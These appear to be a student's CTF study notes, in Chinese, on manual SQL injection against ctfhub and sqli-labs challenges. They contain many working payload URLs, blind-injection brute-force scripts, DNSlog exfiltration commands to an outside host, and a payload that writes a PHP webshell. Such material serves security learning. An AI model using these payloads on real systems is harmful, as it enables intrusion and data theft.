SQL Injection
基础
sql注入是一种在ctf中比较常见的题型,在曾经的大家并没有注重安全的年代很多网站都有sql注入的漏洞,当然随着技术的发展,存在sql注入的网站越来越少,但其依旧是web安全中一大威胁,且一些题目中会包含相关步骤,需要了解掌握,以下主要记录各种手动注入的步骤
没有图片,还没解决图片上传的问题,就这样吧,下一篇再解决
对于sql注入来说,我们一般会按照以下步骤
- 判断是否存在注入(是否严格校验)
- 可控参数改变是否影响页面
- 输入的sql语句是否能引发报错—通过报错可以看到数据库的一些语句痕迹**(比如使用单引号,双引号,小括号等,以及其组合,是sql语句闭合,导致原来的闭合语句后半部分报错,需要经验的积累)**
- 能否消除报错(闭合)
- 判断注入类型
- 判断语句是否能被恶意修改
- 是否能够成功执行
- 获取想要的数据
- 数据库-》表-》字段-》值
- 当我们使用mysql时可以注意到,不止一个库,而其中的infomation_schema 库储存着所有库中的表的有关信息
- information_schema中有三个表储存着我们想要的信息
- schemata表,该表中的schema_name字段包含了所有数据库的name信息,其它字段不做考虑,分别是编码和sql_path等,通过schema_name列来进行数据库的查询
- tables表,该表中的table_name字段包含了所有的库中所有的表的名称,且其中的table_schema列包含了所有的库的名称(有重复,因为和后面的table_name)相对应
- columns表,该表中的column_name字段包含了所有库中所有表的所有字段名称,其中的table_schema列包含了所有的库的名称,table_name列包含了所有的库中所有的表的名称
- 在通过这三个表依次进行查询后可以知道哪个库有哪些表有哪些字段,这时候就可以按照我们所需来进行查询为什么不直接用columns表呢,既然其中的列已经涵盖了库,表,列的信息?因为字段冗余,不便于我们对信息的查看,当然也可以通过sql语句的构造来解决这个问题,直接查询columns表或许是一个优越的选择
- 在能够获取数据后,通过构造sql语句来进行查询,比如flag或者admin的账号和密码等敏感信息,或者在之后植入后门等。
- 数据库-》表-》字段-》值
整数型注入
对于整数型注入,我们以ctfhub上的第一题整数型注入来进行实验以及记录
首先记录整数型注入的简单原理
最基础,通过?id=1’来进行判断 当加了单引号’后出现报错,说明可能存在注入点, 原理:正常语句时这样的:select * from table where id=1 select * from table where id=1’无法识别引号,会引起报错,这样就可以判断他是一个整数型注入的点,其实这样字符型也会报错,但需要判断的话需要看报错出现的提示,需要加双引号或者其他的东西来继续看结果才能判断
下面来进行注入,查找flag
首先按照提示,输入一个参数:1,可以看到查询结果ID为1和data,此时的url为:
http://challenge-d84b346a09f7aa3f.sandbox.ctfhub.com:10080/?id=1
加单引号后查询失败,可以看到一个sql语句:
select * from news where id=1'
,说明有注入点,我们再加入#注释符可以成功执行,说明是一个整数型注入现在开始注入首先要判断此时的表中有多少列的数据,可以使用order by或者union select
- order by 1如果成功说明一列,order by 2成功为两列,以此类推,order by 是按照第几列来排序的,这里使用了他的特性如果该列不存在则报错的属性来判断有几列
- union select是联合查询,是将查询组合到一起的操作,在判断时union select 1,2,4 这是试3列是否正确,这里的数字是几不重要
实验后发现,当语句为
http://challenge-d84b346a09f7aa3f.sandbox.ctfhub.com:10080/?id=1 order by 2
时有输出,说明有该表有两列,此时就可以使用union seclect了
http://challenge-d84b346a09f7aa3f.sandbox.ctfhub.com:10080/?id=1 union select 1,user()
此时我们想要的是简单查看一下user()但此时不会输出,因为显示的是id=1所查询到的,只要将id=1改为一个不可能查询到的数即可,比如-1,*若还不出则改变user()在union select中的位置,改变后查询成功
现在开始查询库,表,字段的信息:
http://challenge-d84b346a09f7aa3f.sandbox.ctfhub.com:10080/?id=-1 union select 1,schema_name from information_schema.schemata
可以查到一个库名,要想查看所有库怎么办?
使用一个group_concat()这个函数的作用是将所有的子弹组合起来在一起输出,这里再记录一个concat_wx()函数,其作用是将不同子段组合在一起输出:concat_ws(‘:’,id,password)这里的意思是将id与password子段对应组合输出,二者中间以:分隔,再将这个函数放在group_concat()中,及可输出所有的对应id与password
http://challenge-d84b346a09f7aa3f.sandbox.ctfhub.com:10080/?id=-1 union select 1,group_concat(schema_name) from information_schema.schemata
此时查询到Data: information_schema,performance_schema,mysql,sqli,说明有这几个库,接下来查表,我们来查sqli这个库中的表
http://challenge-d84b346a09f7aa3f.sandbox.ctfhub.com:10080/?id=-1 union select database(),group_concat(table_name) from information_schema.tables where table_schema = 'sqli'
(注意这里的table_schema=要加单引号,因为每加半天没出来)查询可以看到该库的表,其中发现了名为flag的表
接下来就是查询字段了,我们来看flag这个表里有哪些字段
http://challenge-d84b346a09f7aa3f.sandbox.ctfhub.com:10080/?id=-1 union select database(),group_concat(column_name) from information_schema.columns where table_schema = 'sqli' and table_name='flag'
可以看到有一个字段:flag
此时我们已经完成了探索,只需要将需要的flag取出来即可:
http://challenge-d84b346a09f7aa3f.sandbox.ctfhub.com:10080/?id=-1 union select database(),flag from sqli.flag
即从对应的库的对应表中取出数据:ctfhub{63dcb9358daa938b5fdb1c976c04ca8b8436d6c2}
拿到了flag
字符型注入
http://challenge-e11462cf3fb823eb.sandbox.ctfhub.com:10080/?id=1' and 1=0 union select 1,flag from sqli.flag --+
这是最后的结果,作为参考
当我们输入1后可以看到(这是靶场特地放出来的,一般情况下不会放出需要自己去判断是什么样的注入),比如整数型加单引号报错后简单的#就可以消除报错,但字符型不行,需要在后面加–+来将原来的单引号注释掉才能成功执行,这说明这是一个字符型注入
select * from news where id=’1’,这就体现出是字符报错
判断出是字符型后就加–+来消除报错,之前 的单引号已经使id=’1’闭合了,所以–+注释掉之前的单引号
http://challenge-e11462cf3fb823eb.sandbox.ctfhub.com:10080/?id=1' --+
此时可看到执行成功,有输出,现在开始判断有多少列
http://challenge-e11462cf3fb823eb.sandbox.ctfhub.com:10080/?id=1' order by 2--+
可以看到有两列,http://challenge-e11462cf3fb823eb.sandbox.ctfhub.com:10080/?id=1' union select 1,database()--+
此时输出发现有结果但不是我们想要的,因为输出的是通过id查到的东西,将其变为不可查到的东西,使用 and 1=0这样让id查找的值始终为false,就可以查找我们想要的了http://challenge-e11462cf3fb823eb.sandbox.ctfhub.com:10080/?id=1' and 1=0 union select 1,database()--+
可以看到当前的database为sqli
现在开始查询库,表,列
http://challenge-e11462cf3fb823eb.sandbox.ctfhub.com:10080/?id=1' and 1=0 union select 1,group_concat(schema_name) from information_schema.schemata --+
可以看到查询到了几个库:Data: information_schema,performance_schema,mysql,sqli,下面来查sqli库中的表http://challenge-e11462cf3fb823eb.sandbox.ctfhub.com:10080/?id=1' and 1=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' --+
可以看到有flag表和news表,我们来查flag表有哪些字段
http://challenge-e11462cf3fb823eb.sandbox.ctfhub.com:10080/?id=1' and 1=0 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name ='flag' --+
发现有flag字段,查出来就可以了
http://challenge-e11462cf3fb823eb.sandbox.ctfhub.com:10080/?id=1' and 1=0 union select 1,flag from sqli.flag--+
字符型注入完成
post型注入
之前的都是get型注入,参数直接在url中就可以提现和更改,post型注入不同,其参数放在post表单里进行提交,一般来说登录框的提交就是post类型提交,原理还是一样的,检测是否能使其报错,报错后能否闭合,闭合后查去想要的数据,我们来具体过程如下,以sqli-labs中的第11题作为实验
这里的
在post注入中,可以使用hackbar的post提交表单来进行或者通过burp来抓包改包,这里使用hackbar来作为实验,首先需要看一下页面组成元素可以看到以下两个
input type=”text” name=”uname” value=””
input type=”text” name=”passwd” value=””
可以看到两个框的输入,一个子段名为uname,一个为passwd,开始检查有无注入点:
使用hackbar的postdata,放入参数
uname=1'&passwd=1
,执行,可以看到报错,说明存在报错,简单说一下这里的语法,加入单引号,引起报错,因为使其不闭合接下来要使其闭合,首先使用#
uname=1' #&passwd=1
,可以看到报错消失了,可以知道这是一个整型注入,我们知道要想登录成功需要为true所以我们使用uname=1' or 1 #&passwd=1
,可以看到这时第一个uname处通过or已经成功为1了,此时已经可以登录成功了,接下来就开始查询想要的数据,去掉or 1uname=1' union select database(),1 #&passwd=1
,就可以查到database()了,接下来就可以查询别的uname=1' union select database(),group_concat(schema_name) from information_schema.schemata #&passwd=1
,找到了有一个security库uname=1' union select database(),group_concat(table_name) from information_schema.tables where table_schema='security' #&passwd=1
接下来就可以看到该表有哪些列了
uname=1' union select database(),group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#&passwd=1
接着查到有username和password列,接下来直接查想要的就好了
uname=1' union select database(),group_concat(concat_ws(':',username,password)) from security.users #&passwd=1
双注入
group by 语句时一个分组语句,将要选择的数据按照一个条件来进行分组,使其聚合在一起,
**concat()**函数用于将两个字符串连接为一个字符串,括号内CONCAT(‘FIRST ‘, ‘SECOND’),这样输出时二者并在一起输出。
双注入时我们在使用之前的手段即使用union select后无法在页面显示我们想要的信息时,通过在我们想要的地方报错使用子select,将敏感信息报错出来,就是双注入
双注入就是利用了group by和concat以及一个随机数floor(rand()*2)即0或1作为group by的条件,因为如果两次都取得了同一个值(如两次0)就会产生报错,这时候通过concat,将要查询的字段一个select语句,所以叫双注入**放在concat中,就在报错信息中被放出来了,这样就可以进行查询了,示例语句如下:?id=1 union select 1,2 from infomation_schema group by concat(floor(rand() *2),(select table_name from infomation_shcema.tables))
**后续发现使用rand(0)*2更可控,
这里以ctfhub中的技能树中的报错注入来做一个讲解
http://challenge-65678edc24f805b1.sandbox.ctfhub.com:10080/?id=1 union select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),(select flag from flag))
这里的union select直接使用时无法获得数据的,需要后续的报错来进行报错。
但这里有一个问题,每一次的双注入报错,会不允许一次爆出多行数据,需要一行一行的找,需要在子select中使用 limit 0,1 limit 1,1一行一行的试,这里解出题是因为其库,表,字段的结构简单,但如果是一个未知的环境,会很难。
报错注入
就是通过报错,将敏感信息爆出来,使用一些新的函数,可以使得报错注入更加简单,这里介绍三个函数来进行报错,
- extractvalue():从目标XML中返回包含所查询值的字符串,
- extractvalue(XML_document,XPath_string);
- 第一个参数,是string格式,为XML文档名称,
- 第二个参数,XPath_string(XPath格式的字符串)
- updatexml(XML_document,XPath_string,new_value)
- 第一个参数,是string格式,为XML文档名称,
- 第二个参数,XPath_string(XPath格式的字符串)
- 第三个参数,new_value,string格式,替换查找到的符合条件的数据
- 还有其他很多的报错注入函数:
但在这里我们并不正确的使用这些函数,而是让他们报错,在报错的地方来看到敏感信息,
接下来来看这些语句的使用,还是以ctfhub的报错注入作为例子
- 开始的判断报错不再展示,还是需要先判断有多少列,然后使用union select
http://challenge-fbd23468e7d17f1b.sandbox.ctfhub.com:10080/?id=1 union select 1,extractvalue(1,(select version()))
这里使用extractvalue(),第一个参数随便写个1,重点就是第二个参数,正常时应该使用一个字符串,这里用他来报错,这里就可以查出其version了,但注意到,这时查出的语句为:XPATH syntax error: ‘.22-MariaDB-0+deb10u1’,报错正常,但可以看到显示不全,这时候我们就需要加入一个concat函数来拼接一下,拼接0x74即一个’~’号,就可以查到了所有的信息了,
http://challenge-fbd23468e7d17f1b.sandbox.ctfhub.com:10080/?id=1 union select 1,extractvalue(1,concat(0x7e,(select version())))
这样就可以看到所有的信息了,现在就可以开始查想要的东西了,注意,可以group_concat()http://challenge-fbd23468e7d17f1b.sandbox.ctfhub.com:10080/?id=1 union select 1,extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))
这样可以看到本库里的表,看到有一个flag表,查这个表,
http://challenge-fbd23468e7d17f1b.sandbox.ctfhub.com:10080/?id=1 union select 1,extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1)))
看到只有一个flag字段,那就只有这里了,查出来就行了,http://challenge-fbd23468e7d17f1b.sandbox.ctfhub.com:10080/?id=1 union select 1,extractvalue(1,concat(0x7e,(select flag from flag)))
但我们发现这时候的flag不全,只有一部分,这是因为用xpath报错值显示32位,这时候就需要使用一个函数,叫做mid(),
mid(str,start,[length]) str:截取的字符串 start:起始位置 length:截取的长度,可以忽略
将子select当做str参数,start从32开始,就可以取到flag后半部分了http://challenge-fbd23468e7d17f1b.sandbox.ctfhub.com:10080/?id=1 union select 1,extractvalue(1,concat(0x7e,mid((select flag from flag),32)))
- 我们也可以使用updatexml()函数,区别只是最后多一个参数,那个参数写1就行了
之前不知道怎么的,记录到时不能使用group_concat(),但其实是可以的,记录一下使用的详情,以sqlilab为例:
http://localhost/sqli-labs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+
可以得到:
报错注入差不多就这样了
布尔盲注
什么是盲注,盲注就是在即使页面正常运行时也不会在页面上显示出数据,即使注入成功无法直接的查询到想要的数据,只能通过true or false来判断查询的单一字符是否正确。我们会通过该ascii码表来对需要的数据进行一一比对,在比对为真时就可以知道这一位的数据是我们想要的了。
我们在判断时会通过真假来,这时我们需要在确认了有注入点以及判断了是哪种类型的注入后,在为假的条件后(比如?id=1为真,?id=1’)使用 or 语句的后续语句真与否来判断。后续语句就是我们想要知道的信息了,写一条语句作为分析
- ascii()是将其中的字符转换为ascii对应的数字,如“A”会转换为65,这样方便比对,
- substr(strings|express,m,[n])用于语句截断,
- 第一个参数是要被截断的字符串,
- 第二个是开始截断的位数,
- 第三个是偏移量,即一次截断多少位
- 除了substr()也有别的用于截断的函数,比如left(),right(),mid()+ord(),regexp(),也可能用到like(),可以灵活运用
?id=1' or (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit0,1)=100#
对语句做分析,在判断注入了以后使用#来消除报错,然后使用or语句,来进行布尔判断,括号内,可以看出我们现在在查的是当前数据库下的第一个表的名(通过limit),而substr在判断这第一个表的名的第一个字母是否为ascii值为100的字符,如果是,则会显示true,这时我们就知道了第一个字符,然后依次试验下去,就知道了整个表名(是很繁琐以及不切实际,但原理确实是这样的,可以使用burp等自动化工具来爆破或者直接sqlmap,这里只是讲解原理)
下面通过ctfhub的布尔盲注来进行讲解
http://challenge-23383a60e8712835.sandbox.ctfhub.com:10080/?id=1 and (select ascii(substr(flag,1,1)) from flag)=99
我已经直接查flag了,因为的数据库结构和之前是一样的,因为过程一样所以之前的查库查表不在进行,我们输入了上述语句后可以看到网页给出提示query_success,说明我们flag表的flag字段的第一个字符时小写的C,因为ascii码为99。接下来怎么办,总不能自己一个一个实验吧,我们选择使用burp suit进行爆破,以两个字段,即substr里的第二个参数和最后的ascii值判断作为爆破的点,依次爆破就能得到flag了,(这是按照我学的视频里的方法,总感觉太慢了,所以我决定去看writeup,发现writeup是写了脚本,那我也写脚本吧,用个requests库就可以了,还不咋会,照着写了一个)
import requests
import sys
name= ''
mark = 'query_success'
urlOpen='http://challenge-62b5ddccaa603532.sandbox.ctfhub.com:10080/?id='
for i in range(1,50): #substr子段
for j in range(48,126): #ascii值子段
url = urlOpen+'1 and (select ascii(substr(flag,%d,1)) from flag)=%d'%(i,j) #依次判断
r=requests.get(url)
if mark in r.text: #可以知道比对成功就是query_sucess,所以以此作为判断
name=name+chr(j)
print(name)
break
print(name)
最后就可以输出了flag了,前面查询库,表也和这个类似,只是sql语句换一下罢了,这里就偷懒了
对于这种脚本最好用二分法进行优化一下,不然会很慢的,自己写一下挺简单的,会快不少。
时间盲注
也叫时间延时注入,这种注入在我们输入单引号,双引号,小括号时他都不会显示出报错(但其实是已经出错了),页面不会改变,这时候就需要通过if(),sleep()函数,使得我们的判断条件为真时会有页面延时的情况出现,即,构造好了语句,如果我们想要判断的条件为真,则页面执行会出现延迟,如果为假则不会有延迟。给出一个语句实例:?id=-1 or if(select ascii(substr(table_name,1,1)) from informatio_schema.tables where tabel_schema=database() limit 0,1)=100,sleep(2),0) #
首先看一下if()和sleep()
- if(expr1,expr2,expr3)
- 第一个参数是要判断真假的语句
- 如果为真,执行第二个参数
- 为假执行第三个参数
- sleep():等待多少秒执行啊
我们所做的查询即第一个if参数,是需要判断真假的,其语法和布尔盲注一样,需要以此判断字符是多少,如果为真则会sleep两秒,可以看到执行时页面会有两秒的加载时间,如果为假,则不会有两秒的加载时间,以此判断即可
这种手动做的话肯定不现实,需要借助工具或者写脚本,还是强调,这里只是原理
还是以ctfhub的时间注入作为实例,还是写脚本解决,首先先测试一下: http://challenge-5cb70d9ee61e79a0.sandbox.ctfhub.com:10080/?id=-1 or if((select ascii(substr(database(),1,1))=115),sleep(2),0) #
可以看到等于115时可以产生延时,那就按照这个语法写脚本就好了
name=''
urlOpen='http://challenge-5cb70d9ee61e79a0.sandbox.ctfhub.com:10080/?id=-1'
for i in range(1,50):
for j in range(45,127):
# url=urlOpen+' or if((select ascii(substr(database(),%d,1)))=%d,sleep(2),0) #'%(i,j) #库名
# url = urlOpen +' or if((select ascii(substr(table_name,%d,1) from information_schema.tables where table_schema=\'sqli\')=%d),sleep(2),0) #'%(i,j)
url = urlOpen +' or if((select ascii(substr(flag,%d,1)) from flag)=%d,sleep(1),0) #' %(i,j)
time1=time.time()
try:
requests.get(url,timeout=100000)
except requests.exceptions.ConnectionError:
pass
time2=time.time()
if time2-time1>=1:
name=name+chr(j)
print(name)
break
print(name)
跑出来就好了,但发现跑的过程很艰辛,因为原理是时间延迟,所以如果网络不畅或者requests超时啥的会让人很头疼,可能出现一些错误的字符。。。跑了好多次。。。依旧失败了,每次都有flag结构但都会有些位出错,我选择sqlmap了。。。**哈哈哈,最后一次脚本和sqlmap同时跑脚本先跑出来了,真的是网络原因,不稳定是真滴难受**
dnslog注入
在使用布尔,时间盲注的时候回造成很大的访问量,在一些时候回触发目标网站的安全机制,造成拦截,这时可以用到dnslog注入,可以一次性的得到数据库内容,再通过对其的自动化,可以大大提高注入效率。
dnslog注入的原理就是进行DNS解析时,dns服务器会记录访问信息,比如访问的域名,这些信息就可以用于DNS解析。通过Dnslog平台,可以看到这些信息,实现注入
这里记录一些dnslog平台:
http://www.dnslog.cn/
通过平台给的url,在linux上使用命令curl xxx.dfaf.ceye.io,接下来即可在平台上找到相关信息,
当我们输入命令
curl `whoami`.dfaf.ceye.io
# 在linux中``中的内容会被直接作为命令执行
再在平台中就可以看到会记录到http://ado.dfaf.ceye.io,这里的ado就是whoami的执行内容,这里就是实现dnslog注入的基础。
而在MYSQL中,可以通过LOAD_FILE函数发起请求,实现dnslog注入,示例如下:
select load_file(concat('\\\\','test','.ahh.dfaf.ceye.io\\abc123'));
# 请求后平台就会记录到信息:
test.ahh.dfaf.ceye.io
select load_file(concat('\\\\',(select database()),'.ahh.dfaf.ceye.io\\abc123'));
# 这样就可以查找出database了 ,注意,select语句这里数据格式和内容有限制,比如不能有@,~等特殊字符
注意,load_file发起请求只能在window上进行,linux不行,所以目标数据库必须在windows系统上,且需要足够的系统权限,即MYSQL的my.ini配置文件中secure_file_priv需要设置,因为其默认是NULL,即不允许读取文件,将其设置为””,即可实现dnslog注入
可以看到此时为空,就可以实现dnslog注入了,这里以sqlilab的时间盲注做实验:
可以在dnslog平台看到:
说明查到表了,接下来就是在select语句做更改即可
http://localhost/sqli-labs/Less-9/?id=1' and load_file(concat('\\\\',(select schema_name from information_schema.schemata limit 2,1),'.mysql.m1j8ro.ceye.io\\aaa'))--+
接下来的步骤不做记录,注意,每次只能查一条,也不能group_concat(),要想更快不手动更改limit可以使用对应的脚本。
cookie注入
就是注入点在cookie中,cookie是啥不再介绍,我们需要在cookie处进行注入,具体注入方法按照环境来决定,需要自己慢慢的尝试,也是一个经验的问题。需要多练习,以ctfhub上的cookie注入来作为例子。使用burpsuite来进行注入
打开题目告诉我们注入点变了,使用burp抓包
可以看到cookie:
Cookie: id=1; hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F
我们在id这里进行注入,在repeter里进行
Cookie: id=-1 union select 1,database();
可以看到已经显示出了database,继续注入就好了,不再演示,最后的语句是Cookie: id=-1 union select 1,group_concat(nuwjexalch) from nuyuogkrho;
得到flag
http-Referer注入
及注入点在referer中,可以注意到在讲解视屏中除了可以看到,讲解人通过其报错信息发现,并不是通过select的语句进行注入,而是update或者insert,所以需要复习一下sql语句啊。。。所以其实重要的还是找到注入点和使其报错以及通过构造语句使其不报错,下面以ctfhub上的referer注入为实例进行实验,打开页面可以看到提示我们“请在referer输入id”,使用burpsuite进行抓包,抓了后看了一下,没有referer字段,需要自己构造,注意构造的格式,最开始就是因为构造格式不对所以错了
最开始是这样构造的:
Referer: id=1 #发现不对
Referer: 1 #这样才对
接下来继续注入就对了
Referer: -1 union select 1,group_concat(hnsyfohxaa) from verizqvbgj
这是最后的referer语句
sql注入读写文件
读取文件是通过一个Load_file(file_name)函数来进行的对服务器上的文件的读取,这个函数有四个使用条件
- 必须有权限读取并且文件必须完全可读
- 欲读取文件必须在服务器上
- 必须指定完整的路径
- 欲读取文件大小必须小于max_allowed_packet
还是先要判断注入点和注入类型,然后再在这里进行文件的读取,比如?id=1' union select 1,load_file("C:\\www\\sqli")
,然后在?id前的路径出写上想要访问的文件如:”index,php”
写入文件:
函数outfile(),和load_file很类似,比如
?id=1' union select 1,2,"<?php @eval($_POST[aaa];?>" into outfile "C:\\www\\sqli\\a.txt" #
这样就将一个一句话木马写入了文件a.txt(注意,还是要有绝对路径和权限才行),这样就可上传一个一句话木马,再拿webshell、
绕过注释符过滤
简单的加注释消除报错失败,注释符会被过滤掉,这种时候我们需要使用别的方法来在发现注入点,报错后消除报错,这种时候需要对sql语法的熟练以及一些骚操作整除一些畸形的语句,使其闭合,在课程中讲解人使用的是?id=1’ or(select….) or’这样可以让语句闭合,也需要通过不断的实验以及分析报错的提醒来得到正确的语法
这里以sqli的less-23作为演示
http://127.0.0.1:85/sqli-labs/Less-23/?id=1'
这样可以得到报错,但我们加#或者–+都无法消除报错,且http://127.0.0.1:85/sqli-labs/Less-23/?id=1' %23 a
会看到页面上显示的错误是在a 附近,没有我们的注释符的影子,这种时候就该考虑注释被过滤掉了,要使用新的方法使其闭合。我们思考这时sql语句select * from aaa where id='1'' limit 0,1
要消除报错主要是要去掉单引号的影响,这时候用的是or,完整语句是这样的select * from aaa where id='1' or'' limit 0,1
这样可以消除报错,最后是使用两个or在or中间进行注入
http://127.0.0.1:85/sqli-labs/Less-23/?id=1' or (select database()) or'
这样不会报错,但显示不出database,使用报错注入
http://127.0.0.1:85/sqli-labs/Less-23/?id=1' or (extractvalue(1,concat(0x7e,database()))) or '
这样就可以得到database了,database换为select就可以得到想要的了,
对这种微妙也可以使用union select加单引号来进行绕过,也是通过单引号使其闭合
绕过or-and过滤注入
我们也可以通过一些报错看到and和or被过滤了,可以先使用大小写试试,不行就换思路,比如使用||来代替or,使用&&来代替and,看哪些不被过滤,所以也就是一些绕过的姿势,以sqli-less-25为例子,http://127.0.0.1:85/sqli-labs/Less-25/?id=1' %23
可以看到这样已经可以消除报错,但是使用orderby时发现会报错, near 'der by #'
在order前加个a,报错为 use near 'ader by #'
,可以发现or被过滤掉了,这里我们直接用union select就可以解决http://127.0.0.1:85/sqli-labs/Less-25/?id=-1' union select 1,2,3 %23
可以查询,然后再注入就好了,同时,我们也可以使用||来代替or来进行注入,http://127.0.0.1:85/sqli-labs/Less-25/?id=-1' || (extractvalue(1,concat(0x7e,database()))) %23
这样也可以进行注入
绕过空格过滤
同样的,可以通过报错可以看到我们在一些语句中空格被过滤掉了,比如我们使用select database(),会报错selectdatabse 不存在报错FUNCTION security.selectextractvalue does not exist
,注意空格没了,这时候就考虑时空格绕过,绕过空格我们使用转义来表示空格字符,常用有以下几种,因为系统原因所以需要都进行测试,
- %09 tab键(水平)
- %0a 新建一行
- %0c 新的一页
- %0d return功能
- %0b tab键(垂直)
- %a0 空格
- /**/ 代替空格
- /*!*/ 代替空格
以sqli-less-26 作为例子
这是个混合题,过滤了注释和or,所以最后的写法是
http://127.0.0.1:85/sqli-labs/Less-26/?id=1' || (select/*!*/extractvalue(1,concat(0x7e,database()))) || '
虽然这里的报错注入其实用不到select但为了解释空格绕过使用了,也一样,视频里用%a0绕过的,这里不知道为什么不行,最后使用/*!*/ 才绕过了,后续就不查了,一样的。
做了一下ctfhub的空格绕过,发现第二步使其闭合就卡住了,怎么都不能闭合,但是并没有影响注入。。。因为是过滤空格,所以直接替换空格就行了。。。
http://challenge-f2c8e6cc44feafeb.sandbox.ctfhub.com:10080/?id=1/**/order/**/by/**/2
这样就能显示了,
http://challenge-f2c8e6cc44feafeb.sandbox.ctfhub.com:10080/?id=-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()
查表
http://challenge-f2c8e6cc44feafeb.sandbox.ctfhub.com:10080/?id=-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='ppaymrtivl'
查列
http://challenge-f2c8e6cc44feafeb.sandbox.ctfhub.com:10080/?id=-1/**/union/**/select/**/1,group_concat(nalhiirshz)/**/from/**/ppaymrtivl
得到flag,总觉得ctfhub的环境怪怪的,不能闭合还是能继续往下走肯定不是我的问题
内联注释绕过
这里视频里是用的less-27作为环境,使用内联注释绕过失败了,尴尬但方法得记住,内联注释就是将被过滤掉的语句使用/*!*/包裹起来,比如如果select被过滤掉了则我们使用/*!select*/来进行包裹,可能能绕过过滤,视频里这样不知道为啥失败了,老师使用了另外两种方法,一是大小写,比如写成selEct,以及拼接,在select中再放一个selectselselectect
这样中间的完整的select被过滤掉以后外层的拼接起来就好了。大概就是这样,不想实验了,累了
宽字节注入
什么叫宽字节:当MySQL使用GBK作为编码时会用两个字节作为汉字,有的时候网站会通过加上反斜杠来进行过滤,此时我们加单引号后不会报错,因为单引号前被加了反斜杠被转义了,这种时候尝试宽字节注入,因为反斜杠的编码时%5c,如果是GBK编码,我们在他前面加一个字符,使其成为一个GBK范围内的编码,(编码范围见百度),就“吃掉”了反斜杠,继续成功执行注入。
以less-33为例子
http://127.0.0.1:85/sqli-labs/Less-33/?id=1'
加入单引号后没有报错,页面上显示出hint:Hint: The Query String you input is escaped as : 1\‘
单引号前有一个反斜杠,我们的单引号被过滤掉了,下一行hint:The Query String you input in Hex becomes : 315c27,我们输入的id=1\‘的编码时这么多,我们知道,反斜杠的编码时%5c,如果我们在其之前加入另外的编码使其成为宽字节,就可以去掉反斜杠了,查询GBK的范围,选择一个,%df,这样df5c属于宽字节,加入%df后形成的新字节被MYSQL忽视,反斜杠也没了,这样我们的单引号就又起作用了,具体语法为http://127.0.0.1:85/sqli-labs/Less-33/?id=1%df'
http://127.0.0.1:85/sqli-labs/Less-33/?id=-1%df' union select 1,2,database() %23
这样已经成功注入了。后续不表
防范:
- 使用utf-8编码
- 使用mysqlreal_escape_string.函数,同时使用mysql_set_charset(‘gbk’, $conn);即可防御
- 可以设置参数,character_set_client= binary
对于对单引号的过滤,宽字节无法使用时,可以使用16进制的方式尝试绕过,比如:
union select 1 from aa where name ='abc' 如果单引号被过滤那么where后就不能被执行,这时候就将abc转化为16进制,即where name=0x616263即可绕过
二次编码注入
当php中使用了urldecode函数,且放置位置不恰当时,会和php本身的编码配合失误,造成漏洞。当我们输入?id=1’时网站加上反斜杠,但当我们使用二次编码注入就可以绕过,具体如下:
id=%2527,通过php自身编码,%25被转译为"%",此时为id=%27,若使用了urldecode函数,%27被转译为单引号,就不会被加上反斜杠了
%25是"%",%27是"'"
黑盒测试可以使用id=%2527来测试,白盒可以先看有没有使用urldecode函数,且其使用位置是否合理
堆叠注入
简单来说就是在一个语句后面加上分号;
,这代表着这一条语句的结束,分号后面继续写别的语句,这样我们写的语句就会和前面的语句一起执行,比如
select * from user where id =1;select * from data
在id后加上一个分号,就可以继续执行下一条。
但是并不是说堆叠注入所有时候都可以用
- 可能受到 API或者数据库引擎 不支持的限制,此外,在权限不足的情况也不能成功执行。
- 虽然堆叠查询可以执行任意的 sql 语句,但是页面一般只能显示前一条语句执行结果,第二条语句我们无法得知它是否执行成功,第二个语句产生错误或者结果只能被忽略。
和union执行的区别就是union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。比如insert或者delete语句,很多时候我们会在堆叠注入中使用show
语句,来查看我们想要的数据,比如 show databases;以及desc
命令,用于查看表结构的详细信息,比如 desc flag;**有的时候desc后的值需要使用反引号包裹。
这里记录[[强网杯 2019]随便注 1]的一道题目writeup
使用的就是堆叠注入以及一些骚操作其实主要是我对sql语句并不熟练,只会一些最基本的,来看一下这一题
使用单引号,报错,加–+消除成功,order by,但union的时候返回了select被过滤的情况,怎么也绕不过去,看到使用?inject=1’ or 1=1 #可以看到更多的信息,接下来使用堆叠注入,首先inject=1’;show databases;可以看到数据库,show tables;看到两张表
使用 desc分别查看,
?inject=1’;desc words;
?inject=1’;desc `1919810931114514`;(这里需要打反引号)
可以看到flag在数字的这个表里,接下来的就是一些奇异的思路了。通过修改表名和字段名来获取flag,我们可以看到我们只有两个表,一个是words一个是数字的那个,观察当看words的具体内容和最开始的查询
我们可以猜测正常的时候我们是在查words表里的id,data字段,我们将数字表改为words表,将flag字段改为id字段,就可以查出flag值了,直接给出构造的payload:
?inject=1’;rename table words to words1;rename table `19198109311145` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
rename table `words` to `www`;rename table `1919810931114514` to `words`;alter table words change flag id varchar(100);#
注意,下面这一行rename时每一个表名都加了反引号,我这里好像要这样才能改表名称,不然会显示words表不存在,以后最好还是都加上;最后用一个 ?inject=1’ or 1=1 –+就可以找到flag了;
记录一下rename和alter函数。
rename命令格式:rename table 原表名 to 新表名;
如需在表中添加列,请使用下面的语法:
ALTER TABLE table_name ADD column_name datatype
如需删除表中的列,请使用下面的语法(请注意,某些数据库系统不允许这种在数据库表中删除列的方式):
ALTER TABLE table_name DROP COLUMN column_name
改变列的名称
alter table table_name change a b integer(这个是数据类型,可以是varchar);
要改变表中列的数据类型,请使用下面的语法:
SQL Server / MS Access:
ALTER TABLE table_name ALTER COLUMN column_name datatype
My SQL / Oracle:
